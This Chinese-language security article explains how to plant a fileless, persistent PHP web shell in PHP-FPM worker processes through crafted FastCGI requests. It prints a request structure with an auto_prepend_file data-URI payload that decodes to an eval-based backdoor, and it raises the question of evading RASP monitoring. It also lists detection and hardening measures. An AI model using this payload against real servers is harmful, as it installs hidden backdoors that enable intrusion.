利用 PHP-FPM 做内存马的方法
字数 1288 2025-08-26 22:11:22
PHP-FPM 内存马技术研究
前言
PHP作为主流服务端Web语言,长期以来缺乏真正的内存驻留技术。传统PHP内存马主要有两种实现方式:
- "不死马":通过死循环强占PHP进程,不间断写入PHP shell或执行代码
- 缺点:阻塞进程,仍需本地落盘文件
- Fastcgi马:利用PHP-FPM通过fastcgi协议通讯
- 缺点:仅是对FPM未授权访问的漏洞利用,非真正内存马
技术原理
PHP-FPM作为fastcgi server,其进程是持久化的。关键发现:
- 在一次fastcgi请求中,通过
PHP_VALUE/PHP_ADMIN_VALUE修改的PHP配置值会在FPM进程生命周期内保留 - 利用
auto_prepend_file配合data协议可实现代码内存驻留
实现方法
攻击流程
-
构造fastcgi请求包,关键字段:
array(15) { ["GATEWAY_INTERFACE"]=> string(11) "FastCGI/1.0" ["REQUEST_METHOD"]=> string(3) "GET" ["SCRIPT_FILENAME"]=> string(30) "/home/www/wofeiwo/t.php" // 任意存在的PHP文件 ["PHP_ADMIN_VALUE"]=> string(102) "allow_url_include = On auto_prepend_file = \"data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\"" // 其他常规fastcgi字段... } -
Payload说明:
allow_url_include = On:启用URL包含auto_prepend_file:设置为data协议的base64编码PHP代码- 示例payload解码为:
<?php @eval($_REQUEST[test]); ?>
-
发送到FPM监听端口(可通过SSRF或已有Web权限)
触发方式
- 植入后,访问服务器上任意正常PHP文件都会自动执行内存中的恶意代码
- 无需修改任何实际文件,完全内存驻留
技术特点
-
隐蔽性:
- 无文件落地
- 不依赖php://input,仅需GET请求
- 不修改实际PHP文件内容
-
持久性:
- 配置修改在FPM Worker进程生命周期内有效
- 默认配置下(pm.max_requests=0)可长期驻留
-
感染范围:
- 需针对每个Worker进程单独发送请求
- 服务器有多个Worker时需要多次发送
检测与防御
检测方法
-
配置检查:
- 监控
auto_prepend_file/auto_append_file/allow_url_include配置变化 - RASP工具可检测这些关键配置的修改
- 监控
-
行为监控:
- 网络流量中检测后门payload
- 进程行为分析
-
日志分析:
- FPM日志中异常fastcgi请求
防御措施
-
访问控制:
- 限制FPM端口访问权限
- 防止SSRF漏洞
-
配置加固:
- 设置
pm.max_requests让Worker定期重启 - 禁用不必要的PHP特性:
allow_url_include = Off
- 设置
-
监控预警:
- 部署RASP解决方案
- 建立配置变更监控
扩展思考
- mod_php模式:是否可能在Apache模块模式下实现内存马?
- 替代触发:除
auto_prepend_file外是否有其他触发方案? - 持久化:如何避免Worker重生或服务重启导致失效?
- 对抗检测:如何绕过RASP对配置变更的监控?
总结
PHP-FPM内存马技术利用fastcgi协议和PHP配置持久化特性,实现了真正的无文件内存驻留后门。相比传统方法具有更高的隐蔽性和持久性,是高级持续性威胁的有效手段。防御需从多层面入手,结合访问控制、配置加固和实时监控。